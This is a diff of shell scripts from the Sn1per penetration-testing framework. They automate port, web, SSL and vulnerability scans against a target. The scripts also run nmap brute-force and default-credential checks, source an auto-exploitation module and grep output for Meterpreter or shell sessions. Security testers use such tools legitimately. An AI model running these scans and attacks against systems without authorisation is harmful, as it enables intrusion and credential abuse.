echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
nuclei -silent -t /root/nuclei-templates/ -c $THREADS -target http://$TARGET:${PORT} -o $LOOT_DIR/web/nuclei-http-${TARGET}-port${PORT}.txt
|
||||
fi
|
||||
SSL="false"
|
||||
source $INSTALL_DIR/modes/web_autopwn.sh
|
||||
source $INSTALL_DIR/modes/osint_stage_2.sh
|
||||
fi
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
if [[ "$BURP_SCAN" == "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING BURPSUITE SCAN $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
curl -s -X POST "http://$BURP_HOST:$BURP_PORT/v0.1/scan" -d "{\"scope\":{\"include\":[{\"rule\":\"http://$TARGET:$PORT\"}],\"type\":\"SimpleScope\"},\"urls\":[\"http://$TARGET:$PORT\"]}"
|
||||
echo ""
|
||||
for a in {1..30};
|
||||
do
|
||||
echo -n "[-] SCAN #$a: "
|
||||
curl -sI "http://$BURP_HOST:$BURP_PORT/v0.1/scan/$a" | grep HTTP | awk '{print $2}'
|
||||
BURP_STATUS=$(curl -s http://$BURP_HOST:$BURP_PORT/v0.1/scan/$a | grep -o -P "crawl_and_audit.{1,100}" | cut -d\" -f3 | grep "remaining")
|
||||
while [[ ${#BURP_STATUS} -gt "5" ]];
|
||||
do
|
||||
BURP_STATUS=$(curl -s http://$BURP_HOST:$BURP_PORT/v0.1/scan/$a | grep -o -P "crawl_and_audit.{1,100}" | cut -d\" -f3 | grep "remaining")
|
||||
BURP_STATUS_FULL=$(curl -s http://$BURP_HOST:$BURP_PORT/v0.1/scan/$a | grep -o -P "crawl_and_audit.{1,100}" | cut -d\" -f3)
|
||||
echo "[i] STATUS: $BURP_STATUS_FULL"
|
||||
sleep 15
|
||||
done
|
||||
done
|
||||
echo "[+] VULNERABILITIES: "
|
||||
echo "----------------------------------------------------------------"
|
||||
for a in {1..30};
|
||||
do
|
||||
curl -s "http://$BURP_HOST:$BURP_PORT/v0.1/scan/$a" | jq '.issue_events[].issue | "[" + .severity + "] " + .name + " - " + .origin + .path' | sort -u | sed 's/\"//g' | tee $LOOT_DIR/web/burpsuite-$TARGET-$a.txt
|
||||
done
|
||||
echo "[-] Done!"
|
||||
fi
|
||||
|
||||
if [[ "$ZAP_SCAN" == "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING OWASP ZAP SCAN $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo "[i] Scanning: http://$TARGET:$PORT/"
|
||||
sudo python3 /usr/share/sniper/bin/zap-scan.py "http://$TARGET:$PORT/"
|
||||
DATE=$(date +"%Y%m%d%H%M")
|
||||
sudo grep "'" /usr/share/sniper/bin/zap-report.txt | cut -d\' -f2 | cut -d\\ -f1 > $LOOT_DIR/web/zap-report-$TARGET-http-$DATE.html
|
||||
cp -f $LOOT_DIR/web/zap-report-$TARGET-http-$DATE.html $LOOT_DIR/web/zap-report-$TARGET-http.html 2> /dev/null
|
||||
echo "[i] Scan complete."
|
||||
echo "[+] Report saved to: $LOOT_DIR/web/zap-report-$TARGET-http-$DATE.html"
|
||||
fi
|
||||
|
||||
if [[ "$ARACHNI_SCAN" == "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING ARACHNI SCAN $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
DATE=$(date +"%Y%m%d%H%M")
|
||||
mkdir -p $LOOT_DIR/web/arachni_${TARGET}_${PORT}_${DATE}/
|
||||
arachni --report-save-path=$LOOT_DIR/web/arachni_${TARGET}_${PORT}_${DATE}/ --output-only-positives http://$TARGET:$PORT | tee ${LOOT_DIR}/web/arachni_webscan_${TARGET}_${PORT}_${DATE}.txt
|
||||
|
||||
cd $LOOT_DIR/web/arachni_${TARGET}_${PORT}_${DATE}/
|
||||
arachni_reporter $LOOT_DIR/web/arachni_${TARGET}_${PORT}_${DATE}/*.afr --report=html:outfile=$LOOT_DIR/web/arachni_${TARGET}_${PORT}_${DATE}/arachni.zip
|
||||
cd $LOOT_DIR/web/arachni_${TARGET}_${PORT}_${DATE}/
|
||||
unzip arachni.zip
|
||||
cd $INSTALL_DIR
|
||||
fi
|
||||
|
||||
if [[ "$SC0PE_VULNERABLITY_SCANNER" == "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING SC0PE WEB VULNERABILITY SCAN $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
SSL="false"
|
||||
source $INSTALL_DIR/modes/sc0pe-passive-webscan.sh
|
||||
source $INSTALL_DIR/modes/sc0pe-active-webscan.sh
|
||||
for file in `ls $INSTALL_DIR/templates/passive/web/recursive/*.sh 2> /dev/null`; do
|
||||
source $file
|
||||
done
|
||||
source $INSTALL_DIR/modes/sc0pe-network-scan.sh
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
fi
|
||||
|
||||
source $INSTALL_DIR/modes/sc0pe.sh
|
||||
cd $INSTALL_DIR
|
||||
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED SCAN COMPLETE! $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo "$TARGET" >> $LOOT_DIR/scans/updated.txt
|
||||
rm -f $LOOT_DIR/scans/running_${TARGET}_${MODE}.txt 2> /dev/null
|
||||
ls -lh $LOOT_DIR/scans/running_*.txt 2> /dev/null | wc -l 2> /dev/null > $LOOT_DIR/scans/tasks-running.txt
|
||||
rm -f $INSTALL_DIR/.fuse_* 2> /dev/null
|
||||
if [ "$LOOT" = "1" ]; then
|
||||
loot
|
||||
VULNERABLE_METASPLOIT=$(egrep -h -i -s "may be vulnerable|is vulnerable|IKE response with leak|File saved in" $LOOT_DIR/output/msf-$TARGET-*.txt 2> /dev/null)
|
||||
if [[ ${#VULNERABLE_METASPLOIT} -ge 5 ]]; then
|
||||
echo "$VULNERABLE_METASPLOIT" > $LOOT_DIR/output/vulnerable-metasploit-$TARGET.txt 2> /dev/null
|
||||
fi
|
||||
VULNERABLE_SHELLSHOCK=$(egrep -h -i -s "The following URLs appear to be exploitable:" $LOOT_DIR/web/shocker-$TARGET-*.txt 2> /dev/null)
|
||||
if [[ ${#VULNERABLE_SHELLSHOCK} -ge 5 ]]; then
|
||||
echo "$VULNERABLE_SHELLSHOCK" > $LOOT_DIR/output/vulnerable-shellshock-$TARGET.txt 2> /dev/null
|
||||
fi
|
||||
SHELLED=$(egrep -h -i -s "Meterpreter session|Command executed|File(s) found:|Command Stager progress|File uploaded|Command shell session" $LOOT_DIR/output/msf-$TARGET-*.txt 2> /dev/null)
|
||||
if [[ ${#SHELLED} -ge 5 ]]; then
|
||||
echo "$SHELLED" > $LOOT_DIR/output/shelled-$TARGET.txt 2> /dev/null
|
||||
fi
|
||||
|
||||
echo "[sn1persecurity.com] •?((¯°·._.• Finished Sn1per scan: http://$TARGET:$PORT [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" >> $LOOT_DIR/scans/notifications_new.txt
|
||||
if [[ "$SLACK_NOTIFICATIONS" == "1" ]]; then
|
||||
/bin/bash "$INSTALL_DIR/bin/slack.sh" "[sn1persecurity.com] •?((¯°·._.• Finished Sn1per scan: http://$TARGET:$PORT [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•"
|
||||
fi
|
||||
if [[ "$LOOT" = "1" ]]; then
|
||||
loot
|
||||
fi
|
||||
exit
|
||||
fi
|
||||
|
|
@ -1,10 +1,10 @@
|
|||
# WEBPORTHTTPS MODE #####################################################################################################
|
||||
if [ "$MODE" = "webporthttps" ]; then
|
||||
if [ "$REPORT" = "1" ]; then
|
||||
if [ ! -z "$WORKSPACE" ]; then
|
||||
if [[ "$MODE" = "webporthttps" ]]; then
|
||||
if [[ "$REPORT" = "1" ]]; then
|
||||
if [[ ! -z "$WORKSPACE" ]]; then
|
||||
args="$args -w $WORKSPACE"
|
||||
LOOT_DIR=$INSTALL_DIR/loot/workspace/$WORKSPACE
|
||||
echo -e "$OKBLUE[*] Saving loot to $LOOT_DIR [$RESET${OKGREEN}OK${RESET}$OKBLUE]$RESET"
|
||||
echo -e "$OKBLUE[*]$RESET Saving loot to $LOOT_DIR [$RESET${OKGREEN}OK${RESET}$OKBLUE]$RESET"
|
||||
mkdir -p $LOOT_DIR 2> /dev/null
|
||||
mkdir $LOOT_DIR/domains 2> /dev/null
|
||||
mkdir $LOOT_DIR/screenshots 2> /dev/null
|
||||
|
|
@ -14,8 +14,16 @@ if [ "$MODE" = "webporthttps" ]; then
|
|||
mkdir $LOOT_DIR/scans 2> /dev/null
|
||||
mkdir $LOOT_DIR/output 2> /dev/null
|
||||
fi
|
||||
echo "$TARGET $MODE `date +"%Y-%m-%d %H:%M"`" 2> /dev/null >> $LOOT_DIR/scans/tasks.txt 2> /dev/null
|
||||
echo "sniper -t $TARGET -m $MODE -p $PORT --noreport $args" >> $LOOT_DIR/scans/$TARGET-$MODE.txt
|
||||
sniper -t $TARGET -m $MODE -p $PORT --noreport $args | tee $LOOT_DIR/output/sniper-$TARGET-$MODE-$PORT-`date +%Y%m%d%H%M`.txt 2>&1
|
||||
echo "sniper -t $TARGET -m $MODE --noreport $args" >> $LOOT_DIR/scans/running_${TARGET}_${MODE}.txt
|
||||
ls -lh $LOOT_DIR/scans/running_*.txt 2> /dev/null | wc -l 2> /dev/null > $LOOT_DIR/scans/tasks-running.txt
|
||||
|
||||
echo "[sn1persecurity.com] •?((¯°·._.• Started Sn1per scan: https://$TARGET:$PORT [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" >> $LOOT_DIR/scans/notifications_new.txt
|
||||
if [[ "$SLACK_NOTIFICATIONS" == "1" ]]; then
|
||||
/bin/bash "$INSTALL_DIR/bin/slack.sh" "[sn1persecurity.com] •?((¯°·._.• Started Sn1per scan: https://$TARGET:$PORT [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•"
|
||||
fi
|
||||
sniper -t $TARGET -m $MODE -p $PORT --noreport $args | tee $LOOT_DIR/output/sniper-$TARGET-$MODE-$PORT-`date +"%Y%m%d%H%M"`.txt 2>&1
|
||||
exit
|
||||
fi
|
||||
echo -e "$OKRED ____ $RESET"
|
||||
|
|
@ -25,7 +33,7 @@ if [ "$MODE" = "webporthttps" ]; then
|
|||
echo -e "$OKRED /____/_/ /_/___/ .___/\___/_/ $RESET"
|
||||
echo -e "$OKRED /_/ $RESET"
|
||||
echo -e "$RESET"
|
||||
echo -e "$OKORANGE + -- --=[https://xerosecurity.com"
|
||||
echo -e "$OKORANGE + -- --=[https://sn1persecurity.com"
|
||||
echo -e "$OKORANGE + -- --=[Sn1per v$VER by @xer0dayz"
|
||||
echo -e ""
|
||||
echo -e ""
|
||||
|
|
@ -63,200 +71,392 @@ if [ "$MODE" = "webporthttps" ]; then
|
|||
echo -e " ''''$RESET"
|
||||
echo ""
|
||||
echo "$TARGET" >> $LOOT_DIR/domains/targets.txt
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING TCP PORT SCAN $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
nmap -sV -Pn -p $PORT --open $TARGET -oX $LOOT_DIR/nmap/nmap-https-$TARGET.xml
|
||||
port_https=`grep 'portid="'$PORT'"' $LOOT_DIR/nmap/nmap-https-$TARGET.xml | grep open`
|
||||
if [ -z "$port_https" ];
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
port_https=$PORT
|
||||
if [[ -z "$port_https" ]];
|
||||
then
|
||||
echo -e "$OKRED + -- --=[Port $PORT closed... skipping.$RESET"
|
||||
else
|
||||
echo -e "$OKORANGE + -- --=[Port $PORT opened... running tests...$RESET"
|
||||
if [ "$WAFWOOF" == "1" ]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
echo "$TARGET" >> $LOOT_DIR/web/webhosts-unsorted.txt 2> /dev/null
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED CHECKING HTTP HEADERS AND METHODS $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
wget -qO- -T 1 --connect-timeout=5 --read-timeout=10 --tries=1 https://$TARGET:$PORT | perl -l -0777 -ne 'print $1 if /<title.*?>\s*(.*?)\s*<\/title/si' >> $LOOT_DIR/web/title-https-$TARGET-$PORT.txt 2> /dev/null
|
||||
curl --connect-timeout 5 --max-time 10 -I -s -R --insecure https://$TARGET:$PORT | tee $LOOT_DIR/web/headers-https-$TARGET-$PORT.txt 2> /dev/null
|
||||
curl --connect-timeout 5 --max-time 10 -I -s -R -L --insecure https://$TARGET:$PORT | tee $LOOT_DIR/web/websource-https-$TARGET-$PORT.txt 2> /dev/null
|
||||
curl --connect-timeout 5 --max-time 10 -I -s -R --insecure -X OPTIONS https://$TARGET:$PORT | grep Allow\: | tee $LOOT_DIR/web/http_options-$TARGET-port$PORT.txt 2> /dev/null
|
||||
if [[ "$WEBTECH" = "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED GATHERING WEB FINGERPRINT $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
webtech -u https://$TARGET:$PORT | grep \- | cut -d- -f2- | tee $LOOT_DIR/web/webtech-$TARGET-https-port$PORT.txt
|
||||
fi
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED DISPLAYING META GENERATOR TAGS $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
cat $LOOT_DIR/web/websource-https-$TARGET-$PORT.txt 2> /dev/null | grep generator | cut -d\" -f4 2> /dev/null | tee $LOOT_DIR/web/webgenerator-https-$TARGET-$PORT.txt 2> /dev/null
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED DISPLAYING COMMENTS $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
cat $LOOT_DIR/web/websource-https-$TARGET-$PORT.txt 2> /dev/null | grep "<\!\-\-" 2> /dev/null | tee $LOOT_DIR/web/webcomments-https-$TARGET-$PORT.txt 2> /dev/null
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED DISPLAYING SITE LINKS $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
cat $LOOT_DIR/web/websource-https-$TARGET-$PORT.txt 2> /dev/null | egrep "\"" | cut -d\" -f2 | grep \/ | sort -u 2> /dev/null | tee $LOOT_DIR/web/weblinks-https-$TARGET-$PORT.txt 2> /dev/null
|
||||
if [[ "$WAFWOOF" == "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED CHECKING FOR WAF $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
wafw00f https://$TARGET:$PORT | tee $LOOT_DIR/web/waf-$TARGET-https-port$PORT.txt 2> /dev/null
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
wafw00f https://$TARGET | tee $LOOT_DIR/web/waf-$TARGET-https-port443.txt 2> /dev/null
|
||||
echo ""
|
||||
fi
|
||||
if [ "$WHATWEB" == "1" ]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
if [[ "$WHATWEB" == "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED GATHERING HTTP INFO $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
whatweb -a 3 https://$TARGET:$PORT | tee $LOOT_DIR/web/whatweb-$TARGET-https-port$PORT.raw 2> /dev/null
|
||||
sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/web/whatweb-$TARGET-https-port$PORT.raw > $LOOT_DIR/web/whatweb-$TARGET-https-port$PORT.txt 2> /dev/null
|
||||
rm -f $LOOT_DIR/web/whatweb-$TARGET-https-port$PORT.raw 2> /dev/null
|
||||
echo ""
|
||||
fi
|
||||
if [ "$WIG" == "1" ]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
if [[ "$WIG" == "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED GATHERING SERVER INFO $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
python3 $PLUGINS_DIR/wig/wig.py -d -q https://$TARGET:$PORT | tee $LOOT_DIR/web/wig-$TARGET-https-$PORT
|
||||
sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/web/wig-$TARGET-https-$PORT > $LOOT_DIR/web/wig-$TARGET-https-$PORT.txt 2> /dev/null
|
||||
rm -f $LOOT_DIR/web/wig-$TARGET-https-$PORT 2> /dev/null
|
||||
fi
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
echo -e "$OKRED CHECKING HTTP HEADERS AND METHODS $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
wget -qO- -T 1 --connect-timeout=5 --read-timeout=5 --tries=1 https://$TARGET:$PORT | perl -l -0777 -ne 'print $1 if /<title.*?>\s*(.*?)\s*<\/title/si' >> $LOOT_DIR/web/title-https-$TARGET-$PORT.txt 2> /dev/null
|
||||
curl --connect-timeout 5 -I -s -R https://$TARGET:$PORT | tee $LOOT_DIR/web/headers-https-$TARGET-$PORT.txt 2> /dev/null
|
||||
curl --connect-timeout 5 -I -s -R -L https://$TARGET:$PORT | tee $LOOT_DIR/web/websource-https-$TARGET-$PORT.txt 2> /dev/null
|
||||
if [ "$WEBTECH" = "1" ]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
echo -e "$OKRED GATHERING WEB FINGERPRINT $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
webtech -u https://$TARGET:$PORT | grep \- | cut -d- -f2- | tee $LOOT_DIR/web/webtech-$TARGET-https-port$PORT.txt
|
||||
fi
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
echo -e "$OKRED DISPLAYING META GENERATOR TAGS $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
cat $LOOT_DIR/web/websource-https-$TARGET-$PORT.txt 2> /dev/null | grep generator | cut -d\" -f4 2> /dev/null | tee $LOOT_DIR/web/webgenerator-https-$TARGET-$PORT.txt 2> /dev/null
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
echo -e "$OKRED DISPLAYING COMMENTS $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
cat $LOOT_DIR/web/websource-https-$TARGET-$PORT.txt 2> /dev/null | grep "<\!\-\-" 2> /dev/null | tee $LOOT_DIR/web/webcomments-https-$TARGET-$PORT.txt 2> /dev/null
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
echo -e "$OKRED DISPLAYING SITE LINKS $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
cat $LOOT_DIR/web/websource-https-$TARGET-$PORT.txt 2> /dev/null | egrep "\"" | cut -d\" -f2 | grep \/ | sort -u 2> /dev/null | tee $LOOT_DIR/web/weblinks-https-$TARGET-$PORT.txt 2> /dev/null
|
||||
if [ "$SSL" = "1" ]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
if [[ "$SSL" = "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED GATHERING SSL/TLS INFO $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
sslscan --no-failed $TARGET:$PORT | tee $LOOT_DIR/web/sslscan-$TARGET-$PORT.raw 2> /dev/null
|
||||
sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/web/sslscan-$TARGET-$PORT.raw > $LOOT_DIR/web/sslscan-$TARGET-$PORT.txt 2> /dev/null
|
||||
rm -f $LOOT_DIR/web/sslscan-$TARGET-$PORT.raw 2> /dev/null
|
||||
echo ""
|
||||
fi
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
echo -e "$OKRED SAVING SCREENSHOTS $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
if [ ${DISTRO} == "blackarch" ]; then
|
||||
/bin/CutyCapt --url=https://$TARGET:$PORT --out=$LOOT_DIR/screenshots/$TARGET-port$PORT.jpg --insecure --max-wait=5000 2> /dev/null
|
||||
else
|
||||
cutycapt --url=https://$TARGET:$PORT --out=$LOOT_DIR/screenshots/$TARGET-port$PORT.jpg --insecure --max-wait=5000 2> /dev/null
|
||||
if [[ "$SSL_INSECURE" == "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED CHECKING FOR INSECURE SSL/TLS CONFIGURATIONS $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
curl https://$TARGET:$PORT 2> $LOOT_DIR/web/curldebug-$TARGET-$PORT.txt > /dev/null
|
||||
fi
|
||||
echo -e "$OKRED[+]$RESET Screenshot saved to $LOOT_DIR/screenshots/$TARGET-port$PORT.jpg"
|
||||
if [ "$BURP_SCAN" == "1" ]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED SAVING SCREENSHOTS $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
if [[ $CUTYCAPT = "1" ]]; then
|
||||
if [[ $DISTRO == "blackarch" ]]; then
|
||||
/bin/CutyCapt --url=https://$TARGET:$PORT --out=$LOOT_DIR/screenshots/$TARGET-port$PORT.jpg --insecure --max-wait=5000 2> /dev/null
|
||||
else
|
||||
cutycapt --url=https://$TARGET:$PORT --out=$LOOT_DIR/screenshots/$TARGET-port$PORT.jpg --insecure --max-wait=5000 2> /dev/null
|
||||
fi
|
||||
fi
|
||||
if [[ $WEBSCREENSHOT = "1" ]]; then
|
||||
cd $LOOT_DIR
|
||||
python2 $INSTALL_DIR/bin/webscreenshot.py -r chromium https://$TARGET:$PORT
|
||||
fi
|
||||
if [[ "$BURP_SCAN" == "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING BURPSUITE SCAN $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
if [ "$VERBOSE" == "1" ]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
if [[ "$VERBOSE" == "1" ]]; then
|
||||
echo -e "$OKBLUE[$RESET${OKRED}i${RESET}$OKBLUE]$OKGREEN curl -X POST \"http://$BURP_HOST:$BURP_PORT/v0.1/scan\" -d \"{\"scope\":{\"include\":[{\"rule\":\"https://$TARGET:$PORT\"}],\"type\":\"SimpleScope\"},\"urls\":[\"https://$TARGET:$PORT\"]}\"$RESET"
|
||||
fi
|
||||
curl -s -X POST "http://$BURP_HOST:$BURP_PORT/v0.1/scan" -d "{\"scope\":{\"include\":[{\"rule\":\"https://$TARGET:$PORT\"}],\"type\":\"SimpleScope\"},\"urls\":[\"https://$TARGET:$PORT\"]}"
|
||||
echo ""
|
||||
fi
|
||||
if [ "$NMAP_SCRIPTS" == "1" ]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
if [[ "$NMAP_SCRIPTS" == "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING NMAP SCRIPTS $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
nmap -A -Pn -T5 -p $PORT -sV --script=/usr/share/nmap/scripts/iis-buffer-overflow.nse --script=http-vuln* $TARGET | tee $LOOT_DIR/output/nmap-$TARGET-port$PORT
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
nmap -Pn -p $PORT -sV -v --script-timeout 90 --script=http-auth-finder,http-auth,http-brute,/usr/share/nmap/scripts/vulners,http-default-accounts $TARGET | tee $LOOT_DIR/output/nmap-$TARGET-port$PORT
|
||||
sed -r "s/</\&lh\;/g" $LOOT_DIR/output/nmap-$TARGET-port$PORT 2> /dev/null > $LOOT_DIR/output/nmap-$TARGET-port$PORT.txt 2> /dev/null
|
||||
rm -f $LOOT_DIR/output/nmap-$TARGET-port$PORT 2> /dev/null
|
||||
fi
|
||||
if [ "$PASSIVE_SPIDER" == "1" ]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
if [[ "$PASSIVE_SPIDER" == "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING PASSIVE WEB SPIDER $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
curl -sX GET "http://index.commoncrawl.org/CC-MAIN-2018-22-index?url=*.$TARGET&output=json" | jq -r .url | tee $LOOT_DIR/web/passivespider-$TARGET.txt 2> /dev/null
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
curl -sX GET "http://index.commoncrawl.org/CC-MAIN-2022-33-index?url=*.$TARGET&output=json" -H 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Googlebot/2.1; +http://www.google.com/bot.html) Safari/537.36' 2> /dev/null | jq -r .url | egrep -v "null" | tee $LOOT_DIR/web/passivespider-$TARGET.txt 2> /dev/null | head -n 250
|
